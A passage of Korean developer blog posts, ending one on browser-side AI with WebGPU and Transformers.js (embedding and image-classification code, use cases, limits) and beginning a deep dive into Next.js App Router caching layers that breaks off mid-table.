async function generateEmbeddings(texts: string[]) {
  // 임베딩 파이프라인 생성 (WebGPU 사용)
  const extractor = await pipeline(
    'feature-extraction',
    'Xenova/all-MiniLM-L6-v2',
    {device: 'webgpu'},
  )

  const start = performance.now()

  // 임베딩 생성
  const output = await extractor(texts, {
    pooling: 'mean',
    normalize: true,
  })

  const elapsed = performance.now() - start
  console.log(`${texts.length} texts embedded in ${elapsed.toFixed(2)}ms`)

  return output.tolist()
}

// 사용 예시
const texts = ['오늘 날씨가 좋다', '날씨가 화창하다', '주식 시장이 하락했다']

const embeddings = await generateEmbeddings(texts)

// 코사인 유사도 계산
function cosineSimilarity(a: number[], b: number[]) {
  const dot = a.reduce((sum, val, i) => sum + val * b[i], 0)
  const normA = Math.sqrt(a.reduce((sum, val) => sum + val * val, 0))
  const normB = Math.sqrt(b.reduce((sum, val) => sum + val * val, 0))
  return dot / (normA * normB)
}

console.log('날씨 문장 유사도:', cosineSimilarity(embeddings[0], embeddings[1]))
console.log('다른 주제 유사도:', cosineSimilarity(embeddings[0], embeddings[2]))
```

## 실전: Transformers.js로 이미지 분류

이미지 분류도 간단하다. ViT(Vision Transformer) 모델로 이미지가 뭔지 판별하는 예제다.

```typescript
import {pipeline} from '@huggingface/transformers'

async function classifyImage(imageUrl: string) {
  // 이미지 분류 파이프라인 생성 (WebGPU 사용)
  const classifier = await pipeline(
    'image-classification',
    'Xenova/vit-base-patch16-224',
    {device: 'webgpu'},
  )

  // 분류 실행
  const results = await classifier(imageUrl, {topk: 5})

  // 결과: [{label: 'golden retriever', score: 0.95}, ...]
  return results
}

// 사용 예시
const results = await classifyImage('/path/to/image.jpg')
console.log(results[0].label) // 가장 높은 확률의 라벨
console.log(results[0].score) // 확률 (0~1)
```

파일 업로드, URL, 또는 canvas 요소를 넘기면 된다. 모델은 첫 로드 시 다운로드되고 (ViT-base 기준 약 350MB), 이후엔 브라우저에 캐시된다.

![WebGPU 이미지 분류 데모 - 퍼그 강아지를 89.7% 확률로 정확히 분류](webgpu-image-classification.png)

## 클라이언트 사이드 AI의 가능성

WebGPU로 브라우저에서 AI를 돌릴 수 있게 되면 뭐가 좋을까?

### 개인정보 보호

핵심은 **민감한 데이터를 서버로 보내지 않아도 된다**는 것이다.

회사에서 기밀 문서를 요약하거나 번역하고 싶다고 하자. ChatGPT나 Claude API를 쓰면 문서 내용이 외부 서버로 나간다. 보안 정책상 이게 안 되는 회사가 많다. WebGPU를 쓰면 모델을 브라우저로 가져와서, 문서는 로컬에서 처리할 수 있다. 데이터가 디바이스를 떠나지 않는다.

이런 시나리오에서 유용하다:

- **기밀 문서 처리**: 사내 문서 요약, 번역을 외부 API 없이
- **로컬 시맨틱 검색**: 브라우저에 저장된 노트, 북마크 내에서 의미 기반 검색
- **실시간 영상 처리**: 화상회의 배경 블러, 노이즈 캔슬링 (카메라/마이크 데이터가 서버로 안 감)
- **민감 정보 분류**: 이메일이나 문서에서 개인정보 탐지 (주민번호, 카드번호 등)

### 오프라인 동작

모델을 한 번 다운로드하면 네트워크 없이도 inference를 돌릴 수 있다. Service Worker와 조합하면 완전한 오프라인 AI 앱을 만들 수 있다.

생각해보면 유용한 시나리오가 많다:

- **번역 앱**: 해외여행 중 데이터 없이도 번역
- **메모 앱**: 오프라인에서 텍스트 요약, 태그 자동 생성
- **사진 앱**: 네트워크 없이 이미지 분류, 객체 감지

### 이미 실용적인 유스케이스들

"특정 유스케이스에서는 이미 실용적이다"라고 했는데, 구체적으로 뭘까?

**1. 텍스트 임베딩 & 시맨틱 검색**

앞서 예제로 보여준 것처럼, 텍스트를 벡터로 변환하는 건 이미 실용적이다. `all-MiniLM-L6-v2` 같은 모델은 22MB 정도로 작고, 브라우저에서 충분히 빠르게 돌아간다. 블로그 검색, 문서 유사도 비교, 간단한 RAG 시스템에 쓸 수 있다.

**2. 이미지 분류 & 객체 감지**

MobileNet, EfficientNet 같은 경량 모델로 이미지 분류가 가능하다. "이 사진에 고양이가 있나?" 정도는 브라우저에서 실시간으로 판단할 수 있다. 웹캠으로 실시간 객체 감지도 된다.

**3. 음성 인식**

Whisper tiny/base 모델로 음성을 텍스트로 변환할 수 있다. 정확도는 서버 모델보다 떨어지지만, 간단한 음성 메모나 명령어 인식에는 충분하다.

**4. 소형 LLM 채팅**

Phi-3, Gemma 2B 같은 소형 언어 모델을 브라우저에서 돌릴 수 있다. 응답 속도는 느리지만 (토큰당 수십~수백 ms), 간단한 질의응답이나 텍스트 생성에 쓸 수 있다. [WebLLM](https://webllm.mlc.ai/) 프로젝트가 이걸 잘 보여준다.

### 한계

물론 한계도 명확하다:

| 한계          | 설명                                                 |
| ------------- | ---------------------------------------------------- |
| 모델 크기     | 브라우저 메모리 제한, 큰 모델은 다운로드 시간도 문제 |
| 디바이스 편차 | 저사양 기기에서는 느리거나 안 돌아감                 |
| 배터리        | 모바일에서 GPU 사용은 배터리 소모가 큼               |
| 모델 보안     | 모델이 클라이언트에 노출됨 (모델 탈취 가능)          |
| 정확도        | 서버의 대형 모델보다 정확도가 낮음                   |

결국 "모든 AI를 브라우저에서"가 아니라, "적합한 유스케이스를 선별해서"가 맞는 접근이다.

## 마치며

WebGPU가 모든 주요 브라우저에서 지원되면서, 브라우저에서 실용적인 수준의 AI를 돌릴 수 있게 됐다. 텍스트 임베딩, 이미지 분류, 간단한 음성 인식 정도는 이미 프로덕션에서 고려해볼 만하다.

핵심은 두 가지다:

**1. 개인정보 보호가 중요한 경우**

- 금융 앱에서 거래 내역 분석 (이상 거래 탐지, 소비 패턴 분류)
- 건강 앱에서 증상 체크 (민감한 의료 정보를 서버로 안 보냄)
- 메모/일기 앱에서 자동 태깅 (개인적인 내용이 서버에 안 감)
- 기업용 문서 분류 (사내 기밀 문서를 외부 API로 안 보냄)

**2. 오프라인 동작이 필요한 경우**

- 해외여행 중 번역 (데이터 로밍 없이 실시간 번역)
- 비행기/지하철에서 음성 메모 → 텍스트 변환
- 오지 촬영 중 사진 자동 분류 (인터넷 안 되는 환경)
- 현장 작업자용 매뉴얼 검색 (공장, 건설 현장 등 네트워크 불안정한 곳)

관심 있다면 TensorFlow.js나 Transformers.js의 WebGPU 백엔드로 직접 실험해보면 된다. 생각보다 설정이 간단하고, 성능 차이를 체감할 수 있다.

**[👉 WebGPU 데모 직접 실행해보기](/demos/webgpu/)**

```bash
# TensorFlow.js
npm install @tensorflow/tfjs @tensorflow/tfjs-backend-webgpu

# Transformers.js
npm install @huggingface/transformers
```

## 참고

- [WebGPU is now supported in major browsers - web.dev](https://web.dev/blog/webgpu-supported-major-browsers)
- [WebGPU - Wikipedia](https://en.wikipedia.org/wiki/WebGPU)
- [WebGPU - Can I use](https://caniuse.com/webgpu)
- [Shipping WebGPU on Windows in Firefox 141 - Mozilla Gfx Team Blog](https://mozillagfx.wordpress.com/2025/07/15/shipping-webgpu-on-windows-in-firefox-141/)
- [WebGPU Just Got Real: What Firefox 141 and Upcoming Safari Mean for AI in the Browser - Zircon Tech](https://zircon.tech/blog/webgpu-just-got-real-what-firefox-141-and-upcoming-safari-mean-for-ai-in-the-browser/)
- [TensorFlow.js](https://www.tensorflow.org/js)
- [Transformers.js](https://huggingface.co/docs/transformers.js)
- [WebGPU Fundamentals](https://webgpufundamentals.org/)

---

Source: https://yceffort.kr/2025/12/nextjs-caching-deep-dive.md
Title: Next.js 캐싱 가이드
Description: Next.js App Router의 4가지 캐시 레이어 알아보긔
Date: 2025-12-24
Tags: nextjs, web-performance, caching

## Table of Contents

## 서론

Next.js App Router의 캐싱은 악명이 높다. 공식 문서를 읽어도 "왜 내 데이터가 안 바뀌지?", "분명히 revalidate 했는데?" 같은 의문이 끊이지 않는다. 심지어 Next.js 팀도 이를 인정했는지, [Our Journey with Caching](https://nextjs.org/blog/our-journey-with-caching)이라는 블로그 글에서 "숨겨진 캐시는 없어야 한다"라며 버전 15에서 캐싱 기본값을 대폭 변경했다.

이 글에서는 Next.js의 4가지 캐시 레이어를 단계별로 파헤친다. 단순히 "이렇게 쓰면 된다"가 아니라, 각 레이어의 내부 동작 원리, 캐시 키 생성 방식, Self-hosted 환경에서의 차이점, 그리고 실무에서 어떤 실수를 하기 쉬운지까지 깊이 있게 다룬다.

## 왜 이렇게 캐싱이 복잡해졌는가?

Next.js의 캐싱이 복잡해진 이유를 이해하려면, 웹 프레임워크의 진화 과정과 Next.js가 해결하려 했던 문제들을 살펴봐야 한다.

### 1. 모든 렌더링 전략을 하나로 통합하려는 야망

```mermaid
flowchart TB
    subgraph past["과거: 선택의 시대"]
        direction LR
        P1["SSG 전용<br/>(Gatsby, Hugo)"]
        P2["SSR 전용<br/>(전통적 서버)"]
        P3["SPA 전용<br/>(CRA, Vite)"]
    end

    subgraph nextjs["Next.js의 야망"]
        direction TB
        N1["SSG + SSR + ISR + CSR<br/>+ Streaming + PPR"]
        N2["하나의 프레임워크에서<br/>모든 전략 지원"]
    end

    subgraph result["결과"]
        R1["각 전략마다<br/>다른 캐싱 요구사항"]
        R2["4개의 캐시 레이어<br/>복잡한 상호작용"]
    end

    past --> nextjs --> result
```

전통적으로 웹 프레임워크들은 하나의 렌더링 전략에 집중했다. Gatsby는 SSG, 전통적인 서버 프레임워크는 SSR, Create React App은 CSR에 특화되어 있었다. Next.js는 이 모든 것을 하나의 프레임워크에서 지원하려 했고, 심지어 ISR(Incremental Static Regeneration), Streaming, PPR(Partial Prerendering)까지 추가했다.

문제는 각 렌더링 전략이 서로 다른 캐싱 요구사항을 가진다는 것이다:

| 렌더링 전략 | 캐싱 요구사항           |
| ----------- | ----------------------- |
| SSG         | 빌드 시 생성, 영구 캐시 |
| SSR         | 캐시 없음 또는 짧은 TTL |
| ISR         | 시간 기반 재검증        |
| CSR         | 클라이언트 상태 관리    |
| Streaming   | 부분 캐싱, 청크 단위    |

이 모든 것을 지원하다 보니, 자연스럽게 여러 캐시 레이어가 필요해졌다.

### 2. React Server Components라는 새로운 패러다임

| 구분        | Pages Router                              | App Router (RSC)                |
| ----------- | ----------------------------------------- | ------------------------------- |
| 데이터 페칭 | `getStaticProps`, `getServerSideProps`    | 컴포넌트 어디서든 `async/await` |
| 경계        | 명확: 페칭 함수 ↔ 렌더링 컴포넌트         | 모호: 페칭 = 렌더링             |
| 멘탈 모델   | "이 함수에서 데이터, 컴포넌트는 렌더링만" | "어디서든 자유롭게"             |

Pages Router에서는 `getStaticProps`와 `getServerSideProps`라는 명확한 데이터 페칭 지점이 있었다. 개발자는 "이 함수에서 데이터를 가져오고, 컴포넌트에서는 렌더링만 한다"는 멘탈 모델을 가질 수 있었다.

App Router와 React Server Components는 이 패러다임을 완전히 바꿨다. 이제 컴포넌트 어디서든 `async/await`로 데이터를 가져올 수 있다. 자유도는 높아졌지만, "언제 캐시되고 언제 안 되는가?"라는 새로운 복잡성이 생겼다.

```tsx
// Pages Router: 데이터 페칭 지점이 명확
export async function getStaticProps() {
  const data = await fetchData() // 여기서만 데이터 페칭
  return {props: {data}, revalidate: 60}
}

export default function Page({data}) {
  // 여기는 순수 렌더링
  return <div>{data}</div>
}

// App Router: 어디서든 데이터 페칭 가능
export default async function Page() {
  const data = await fetchData() // 컴포넌트 내에서 직접
  const more = await fetchMore() // 여러 번 가능

  return (
    <div>
      {data}
      <ChildComponent /> {/* 자식도 자체적으로 fetch 가능 */}
    </div>
  )
}
```

### 3. fetch API 확장의 한계

Next.js 팀은 Web 표준인 `fetch` API를 확장하여 캐싱을 구현하기로 결정했다. 이론상으로는 좋은 선택이었다:

- 새로운 API를 배울 필요 없음
- Web 표준과의 호환성
- 점진적 마이그레이션 가능

하지만 현실은 달랐다. 실제 프로젝트에서는 `fetch`만 사용하지 않는다:

- **ORM**: Prisma, Drizzle 등
- **GraphQL 클라이언트**: Apollo, urql 등
- **직접 DB 연결**: Redis, MongoDB 등
- **SDK 클라이언트**: Stripe, AWS SDK 등

이들은 `fetch`를 사용하지 않으므로 Next.js의 캐싱이 자동으로 적용되지 않는다. 이를 위해 별도의 API들을 제공했지만, 각각 다른 용도와 제약을 가져 혼란을 가중시켰다:

| API                  | 용도                   | 캐시 범위              | 제약사항                                       |
| -------------------- | ---------------------- | ---------------------- | ---------------------------------------------- |
| `React.cache()`      | 함수 결과 메모이제이션 | 단일 요청 내           | 요청 끝나면 사라짐, 영구 캐시 불가             |
| `unstable_cache()`   | Data Cache에 수동 저장 | 영구적 (재검증 전까지) | 이름 그대로 불안정, 함수 본체가 캐시 키에 포함 |
| `use cache` (실험적) | 함수/컴포넌트 캐싱     | 영구적                 | 아직 canary, 프로덕션 사용 불가                |

결국 "fetch가 아닌 데이터 소스를 어떻게 캐시할 것인가"라는 단순한 질문에 3개의 서로 다른 답이 존재하게 된 것이다.

### 4. "Zero Config" 철학의 부작용

Next.js는 "Zero Config"를 지향한다. 설정 없이도 최적화된 상태로 동작해야 한다는 철학이다. 이를 위해 **기본값으로 캐싱을 활성화**했다.

"좋은 기본값"이라는 의도와 달리, 실제로는 혼란만 키웠다. mutation을 했는데 화면이 안 바뀌고, `force-dynamic`을 박아도 어딘가에서 또 캐시가 걸리고, 캐시를 끄려면 어느 레이어를 건드려야 하는지 매번 검색해야 했다. 캐시가 언제 동작하고 언제 안 하는지 예측하기 어려워 버그처럼 느껴지는 동작이 잦았고, 결국 Next.js 15에서 "기본값 = 캐싱 비활성화"로 방향을 틀었다.

### 5. Vercel 플랫폼과의 깊은 연관성

솔직히 말하면, Next.js의 캐싱 시스템은 Vercel 플랫폼에서 가장 잘 동작하도록 설계되었다. Vercel이 Next.js를 오픈소스로 유지하는 건 자선사업이 아니다. Next.js의 복잡한 캐싱이 Vercel에서 "마법처럼" 동작하고, Self-hosted에서는 추가 설정이 필요하다면, 개발자들은 자연스럽게 Vercel을 선택하게 된다.

**Vercel에서는:**

- Data Cache가 글로벌 Edge Network에 분산되어 "cache shielding" 자동 적용
- ISR이 내부적으로 최적화되어 별도 설정 없이 동작
- 캐시 무효화가 전 세계 엣지에 빠르게 전파

**Self-hosted에서는:**

- **단일 인스턴스**: 기본 파일시스템 캐시로 충분히 동작
- **멀티 인스턴스/Serverless**: Redis 같은 외부 캐시 저장소 + 커스텀 핸들러 필요
- Next.js 14 이하에서 `stale-while-revalidate` 헤더에 시간 값이 누락되어 CDN 연동 문제 발생 (15에서 수정됨)

단일 서버로 운영한다면 Self-hosted도 충분히 잘 동작한다. 하지만 스케일 아웃이 필요한 환경에서는 Vercel이 자동으로 해주는 것들을 직접 구현해야 한다. 이런 격차가 "Next.js는 Vercel에서만 제대로 동작한다"는 인식을 만들었고, 커뮤니티의 불만으로 이어졌다. Next.js 15에서는 Self-hosting 문서를 대폭 개선하고 캐시 핸들러 설정을 더 쉽게 만들었지만, 멀티 인스턴스 환경의 복잡성은 여전하다.

### 6. 결국 이 복잡성은 필연적이었는가?

솔직히, 이 복잡성의 상당 부분은 **필연적**이었다고 본다. 다양한 렌더링 전략을 지원하면서 최적의 성능을 내려면, 단순함을 어느 정도 포기할 수밖에 없다.

하지만 **불필요한 복잡성**도 있었다:

- 암묵적 캐싱 동작 (Next.js 15에서 수정)
- 일관성 없는 API (`fetch` 확장 vs `unstable_cache` vs `React.cache`)
- 부족한 디버깅 도구
- Vercel과 Self-hosted 간의 동작 차이

Next.js 팀도 이를 인지하고 있고, `use cache` 디렉티브 같은 더 명시적인 API로 개선하려 하고 있다. "숨겨진 캐시는 없어야 한다"는 새로운 철학이 앞으로 얼마나 잘 지켜질지 지켜볼 필요가 있다.

## 1단계: 캐싱의 전체 그림

### 4가지 캐시 레이어 아키텍처

```mermaid
flowchart TB
    subgraph client["클라이언트 (브라우저)"]
        RC["🖥️ Router Cache<br/>RSC Payload 저장<br/>메모리 기반"]
    end

    subgraph server["서버 (Node.js)"]
        RM["⚡ Request Memoization<br/>React 기능<br/>단일 렌더링 사이클"]

        subgraph persistent["영구 저장소"]
            DC["💾 Data Cache<br/>fetch 응답 저장<br/>파일시스템/Redis 등"]
            FRC["📄 Full Route Cache<br/>HTML + RSC Payload<br/>빌드 시 생성"]
        end
    end

    subgraph origin["원본 데이터 소스"]
        API["🌐 External API"]
        DB["🗄️ Database"]
    end

    RC -->|"네비게이션"| RM
    RM -->|"캐시 미스"| DC
    DC -->|"캐시 미스"| API
    DC -->|"캐시 미스"| DB
    FRC -->|"정적 페이지"| RC

    style RC fill:#e1f5fe
    style RM fill:#fff3e0
    style DC fill:#e8f5e9
    style FRC fill:#fce4ec
```

### 캐시 레이어 상세 비교

| 레이어              | 위치       | 저장소     | 지속 시간 | 대상         | 공유 범위      |
| ------------------- | ---------- | ---------- | --------- | ------------ | -------------- |
| Request Memoization | 서버       | 메모리     | 단일 요청 | fetch 반환값 | 렌더링 트리 내 |
| Data Cache          | 서버       | 파일시스템 | 영구적    | fetch 응답   | 모든 요청/배포 |
| Full Route Cache    | 서버       | 파일시스템 | 영구적    | HTML + RSC   | 모든 사용자    |
| Router Cache        | 클라이언트 | 메모리     | 세션      | RSC Payload  | 현재 사용자    |

### 요청 흐름 상세

사용자가 페이지를 요청하면, 캐시는 다음과 같은 순서로 확인된다.

```mermaid
sequenceDiagram
    participant User as 사용자
    participant Browser as 브라우저
    participant RC as Router Cache
    participant Server as Next.js 서버
    participant FRC as Full Route Cache
    participant RM as Request Memoization
    participant DC as Data Cache
    participant API as External API

    User->>Browser: 링크 클릭

    rect rgb(225, 245, 254)
        Note over Browser,RC: 1. Router Cache 확인 (클라이언트)
        Browser->>RC: RSC Payload 요청
        alt Router Cache HIT
            RC-->>Browser: 캐시된 Payload 반환
            Browser-->>User: 즉시 렌더링
        else Router Cache MISS
            RC->>Server: 서버로 요청
        end
    end

    rect rgb(252, 228, 236)
        Note over Server,FRC: 2. Full Route Cache 확인 (정적 페이지)
        Server->>FRC: 정적 페이지 확인
        alt Full Route Cache HIT
            FRC-->>Server: 캐시된 HTML + RSC
            Server-->>Browser: 응답
        else Full Route Cache MISS (동적)
            FRC->>RM: 렌더링 시작
        end
    end

    rect rgb(255, 243, 224)
        Note over RM,DC: 3. Request Memoization + Data Cache
        RM->>DC: fetch 요청

        alt Data Cache HIT
            DC-->>RM: 캐시된 데이터
        else Data Cache MISS
            DC->>API: 실제 API 호출
            API-->>DC: 응답
            Note over DC: 응답 캐시 저장
            DC-->>RM: 데이터 반환
        end

        Note over RM: 동일 요청 메모이제이션
    end

    RM-->>Server: 렌더링 완료
    Server-->>Browser: HTML + RSC Payload
    Note over RC: Router Cache 저장
    Browser-->>User: 페이지 표시
```

### Next.js 15에서의 패러다임 전환

Next.js 팀은 버전 15에서 캐싱 철학을 180도 바꿨다. "기본적으로 모든 것을 캐시"에서 "기본적으로 아무것도 캐시하지 않음"으로 전환했다.

| 항목                | Next.js 14 이하         | Next.js 15 이상      |
| ------------------- | ----------------------- | -------------------- |
| fetch 기본값        | `force-cache`           | `no-store`           |
| Route Handler       | `force-static`          | `force-dynamic`      |
| Router Cache (Page) | 동적 30초, 정적 5분     | 캐시 안 함           |
| 철학                | Opt-out (비활성화 선택) | Opt-in (활성화 선택) |

## 2단계: 각 캐시 레이어 Deep Dive

### 잠깐, Request Memoization과 Data Cache는 뭐가 다른가?

가장 혼란스러운 부분이다. 둘 다 `fetch`와 관련되어 있고, 둘 다 "캐싱"을 한다. 하지만 완전히 다른 목적과 범위를 가진다.

**Request Memoization (React 담당)**

- **목적**: 렌더링 중 동일한 fetch 호출이 여러 번 발생하면 중복 실행 방지
- **범위**: 단일 요청의 렌더링 사이클 (하나의 페이지 렌더링)
- **저장소**: 메모리 (임시)
- **수명**: 렌더링 끝나면 삭제
- **공유**: 다른 사용자/요청과 공유 안 됨

**Data Cache (Next.js 담당)**

- **목적**: API 응답을 저장해서 다음 요청에서 재사용
- **범위**: 모든 요청, 모든 사용자
- **저장소**: 파일시스템, Redis 등 (영구적)
- **수명**: `revalidate` 시간 또는 수동 무효화 전까지 유지
- **공유**: 모든 사용자가 동일한 캐시 공유

**구체적인 예시로 이해해보자:**

```tsx
// 페이지 컴포넌트
export default async function UserPage() {
  // 1번 호출
  const user1 = await fetch('https://api.example.com/user', {
    next: {revalidate: 3600},
  })

  return (
    <div>
      <Header /> {/* 내부에서 같은 API 호출 */}
      <Sidebar /> {/* 내부에서 같은 API 호출 */}
    </div>
  )
}

async function Header() {
  // 2번 호출 (같은 URL)
  const user2 = await fetch('https://api.example.com/user', {
    next: {revalidate: 3600},
  })
  return <div>{user2.name}</div>
}

async function Sidebar() {
  // 3번 호출 (같은 URL)
  const user3 = await fetch('https://api.example.com/user', {
    next: {revalidate: 3600},
  })
  return <div>{user3.email}</div>
}
```

**이 코드가 실행되면 무슨 일이 일어날까?**

```mermaid
sequenceDiagram
    participant Page as UserPage
    participant RM as Request Memoization
    participant DC as Data Cache
    participant API as External API

    Note over Page: 첫 번째 사용자 요청

    Page->>RM: fetch('/user') #1
    RM->>DC: 캐시 확인
    DC->>API: 캐시 미스, API 호출
    API-->>DC: 응답 데이터
    Note over DC: Data Cache에 저장<br/>(1시간 유효)
    DC-->>RM: 데이터 반환
    Note over RM: Request Memoization에 저장
    RM-->>Page: 데이터

    Page->>RM: fetch('/user') #2 (Header)
    Note over RM: 메모이제이션 히트!
    RM-->>Page: 캐시된 데이터 (API 호출 없음)

    Page->>RM: fetch('/user') #3 (Sidebar)
    Note over RM: 메모이제이션 히트!
    RM-->>Page: 캐시된 데이터 (API 호출 없음)

    Note over RM: 렌더링 완료, Request Memoization 삭제

    Note over Page: 두 번째 사용자 요청 (30분 후)

    Page->>RM: fetch('/user')
    RM->>DC: 캐시 확인
    Note over DC: Data Cache 히트!<br/>(아직 1시간 안 지남)
    DC-->>RM: 캐시된 데이터 (API 호출 없음)
    RM-->>Page: 데이터
```

**정리하면:**

| 특성   | Request Memoization            | Data Cache                      |
| ------ | ------------------------------ | ------------------------------- |
| 담당   | React                          | Next.js                         |
| 목적   | 같은 렌더링에서 중복 호출 방지 | 요청 간 데이터 재사용           |
| 범위   | 단일 요청의 컴포넌트 트리      | 모든 요청, 모든 사용자          |
| 수명   | 렌더링 끝나면 삭제             | `revalidate` 시간까지 유지      |
| 저장소 | 메모리 (임시)                  | 파일시스템/외부 저장소          |
| 설정   | 자동 (옵트아웃만 가능)         | `cache`, `next.revalidate` 옵션 |
| 공유   | 다른 요청과 공유 안 됨         | 모든 요청이 공유                |

핵심 차이를 한 문장으로 요약하면 다음과 같다.

- **Request Memoization**: "이번 렌더링에서 아까 했던 같은 fetch를 또 하네? 아까 결과 줄게"
- **Data Cache**: "이 API 응답 저장해뒀다가, 다음에 누가 요청해도 재사용할게"

로 정리해볼 수 있다.

### 2.1 Request Memoization

**핵심: 이건 Next.js가 아니라 React의 기능이다.**

React는 렌더링 중 동일한 fetch 요청이 여러 번 발생하면, 첫 번째 요청의 결과를 재사용한다. 이는 컴포넌트 구조를 데이터 의존성에 맞게 자유롭게 설계할 수 있게 해준다.

```mermaid
flowchart TB
    subgraph render["단일 렌더링 사이클 (서버)"]
        direction LR
        subgraph components["컴포넌트들"]
            A["Header<br/>fetch('/api/user')"]
            B["Sidebar<br/>fetch('/api/user')"]
            C["Profile<br/>fetch('/api/user')"]
        end

        subgraph memo["Request Memoization"]
            Cache["캐시<br/>{ '/api/user': Promise }"]
        end

        A --> Cache
        B --> Cache
        C --> Cache
    end

    Cache -->|"1회만 실제 호출"| API["External API"]

    style Cache fill:#fff3e0
```

#### 캐시 키 생성 원리

Request Memoization의 캐시 키는 다음 요소들로 구성된다:

```typescript
// 캐시 키 = URL + HTTP 메서드 + 요청 옵션들의 조합
const cacheKey = JSON.stringify({
  url: 'https://api.example.com/user',
  method: 'GET',
  headers: { ... },
  // ... 기타 옵션
})
```

**중요**: `traceparent`, `tracestate` 같은 [W3C trace context](https://www.w3.org/TR/trace-context/) 헤더는 캐시 키에서 제외된다. 이 헤더들은 요청마다 달라지므로, 포함하면 캐시가 무용지물이 되기 때문이다. Next.js 소스 코드에서 명시적으로 이 헤더들을 제거한다. ([관련 GitHub 코드](https://github.com/vercel/next.js/blob/canary/packages/next/src/server/lib/incremental-cache/index.ts#L387-L406))

#### 제한사항

Request Memoization은 **React의 컴포넌트 트리 내**에서만 동작한다. 다시 말해, 하나의 렌더링 사이클에서 여러 컴포넌트가 같은 fetch를 호출할 때 중복을 제거하는 것이다.

**✅ 메모이제이션이 작동하는 곳:**

Server Components, Layouts, Pages, 그리고 `generateMetadata`, `generateStaticParams` 같은 빌드/렌더링 시 실행되는 함수들이다. 이들은 모두 React의 렌더링 컨텍스트 안에서 실행되므로 메모이제이션이 적용된다.

**❌ 메모이제이션이 안 되는 곳:**

- **Route Handlers**: API 라우트(`/api/...`)는 컴포넌트 트리 밖에서 독립적으로 실행된다. 여기서 fetch를 여러 번 호출하면 각각 별도의 요청으로 나간다.
- **POST, DELETE 등**: GET과 HEAD만 메모이제이션된다. 다른 HTTP 메서드는 부작용(side effect)을 일으킬 수 있으므로 의도적으로 제외된다.
- **AbortSignal 전달 시**: `fetch(url, { signal })`처럼 취소 시그널을 전달하면 메모이제이션이 비활성화된다. 취소 가능한 요청은 각각 독립적으로 관리해야 하기 때문이다.

#### React.cache()로 비-fetch 함수 메모이제이션

fetch를 사용하지 않는 경우(ORM, 직접 DB 쿼리 등)에는 React의 `cache()` 함수를 사용한다.

```tsx
// lib/data.ts
import {cache} from 'react'
import {db} from '@/lib/db'

// ✅ 올바른 사용: 모듈 수준에서 정의
export const getUser = cache(async (id: string) => {
  return await db.user.findUnique({where: {id}})
})

export const getPost = cache(async (slug: string) => {
  return await db.post.findUnique({where: {slug}})
})
```

**React.cache()의 핵심 특성:**

- **Server Components 전용**: Client Components에서는 사용할 수 없다. 클라이언트에서는 `useMemo`를 사용해야 한다.
- **동작 원리**: 첫 호출 시 함수 실행 + 결과 캐싱 → 같은 인자로 재호출 시 캐시에서 반환 → 다른 인자면 새로 실행
- **에러도 캐싱됨**: 함수가 에러를 던지면 그 에러도 캐시되어, 같은 인자로 재호출 시 동일한 에러가 다시 던져진다.
- **캐시 키 비교**: `Object.is()`를 사용한 얕은 비교. 원시값은 값 비교, 객체는 참조 비교.
- **수동 무효화 불가**: 캐시를 수동으로 무효화할 방법이 없다. 서버 요청이 끝나면 자동으로 무효화된다.

#### "요청 범위 캐시"란?

"요청이 끝나면 캐시가 사라진다"는 말이 혼란스러울 수 있다. 그럼 캐시가 아닌 것 아닌가?

```text
사용자 A가 /profile 페이지 접속
    ↓
서버에서 렌더링 시작 (하나의 "요청")
    ├─ Header 컴포넌트  → getUser('123') 호출  ← 실제 실행
    ├─ Sidebar 컴포넌트 → getUser('123') 호출  ← 캐시 히트!
    └─ Profile 컴포넌트 → getUser('123') 호출  ← 캐시 히트!
    ↓
렌더링 완료, HTML 응답
    ↓
캐시 삭제
```

같은 렌더링 사이클 안에서 `getUser('123')`는 **1번만** 실행되고, 나머지 2번은 캐시된 결과를 재사용한다. 이것이 "캐시"다.

하지만 다음 요청은 **새로 시작**한다:

```text
사용자 A 요청 → getUser('123') 실행 → 캐시 → 응답 → 캐시 삭제
사용자 B 요청 → getUser('123') 다시 실행 → 새 캐시 → 응답 → 캐시 삭제
```

| 캐시 종류       | 비유                                            | 범위      |
| --------------- | ----------------------------------------------- | --------- |
| `React.cache()` | 한 번의 요리 중 같은 재료를 여러 번 꺼내지 않음 | 단일 요청 |
| `Data Cache`    | 냉장고에 재료 보관해두고 다음 요리에도 사용     | 모든 요청 |

이렇게 설계한 이유:

- **메모리 관리**: 요청마다 캐시가 누적되면 서버 메모리 폭발
- **데이터 신선도**: 다음 요청은 항상 최신 데이터를 가져올 기회 보장
- **용도 분리**: 렌더링 최적화는 `cache()`, 영구 캐싱은 `unstable_cache`나 `fetch`의 Data Cache 사용

#### Preload 패턴

`cache()`의 강력한 활용법 중 하나는 preload 패턴이다. 데이터를 미리 요청해두고, 실제로 필요한 컴포넌트에서는 캐시된 결과를 사용한다.

```tsx
// lib/data.ts
import {cache} from 'react'

export const getUser = cache(async (id: string) => {
  return await db.user.findUnique({where: {id}})
})

// 명시적인 preload 함수 (선택적)
export const preloadUser = (id: string) => {
  void getUser(id)
}
```

```tsx
// app/user/[id]/page.tsx
import {getUser, preloadUser} from '@/lib/data'

export default async function UserPage({params}: {params: {id: string}}) {
  // 1. 렌더링 시작과 동시에 데이터 요청 시작 (await 없음!)
  preloadUser(params.id)

  // 2. 다른 동기 작업 수행 가능
  const headerConfig = getHeaderConfig()

  return (
    <>
      <Header config={headerConfig} />
      <UserProfile id={params.id} /> {/* 3. 여기서 캐시된 Promise 사용 */}
    </>
  )
}

async function UserProfile({id}: {id: string}) {
  // preload로 이미 시작된 요청의 Promise를 재사용
  const user = await getUser(id)
  return <div>{user.name}</div>
}
```

이 패턴은 워터폴을 방지하고 병렬 요청을 최대화한다.

**주의사항:**

```tsx
// ❌ 잘못된 사용: 컴포넌트 내부에서 cache() 호출
function Profile({ userId }) {
  // 매 렌더링마다 새로운 캐시 함수 생성!
  const getUser = cache(async (id) => { ... })
  const user = await getUser(userId)
}

// ❌ 잘못된 사용: 컴포넌트 외부에서 캐시 함수 호출
const getUser = cache(async (id) => { ... })
getUser('demo-id') // 캐시 컨텍스트 없음

async function Profile() {
  const user = await getUser('demo-id') // 캐시 미스
}

// ❌ 잘못된 사용: 매번 새 객체 전달
const processData = cache((data) => { ... })

function Component(props) {
  // props는 매번 새 객체이므로 캐시 미스
  const result = processData(props)
}

// ✅ 올바른 사용: 원시값 전달
const processData = cache((x, y, z) => { ... })

function Component({ x, y, z }) {
  const result = processData(x, y, z) // 값이 같으면 캐시 히트
}
```

**cache() vs useMemo vs memo 비교:**

| 특성      | `cache()`             | `useMemo()`       | `memo()`             |
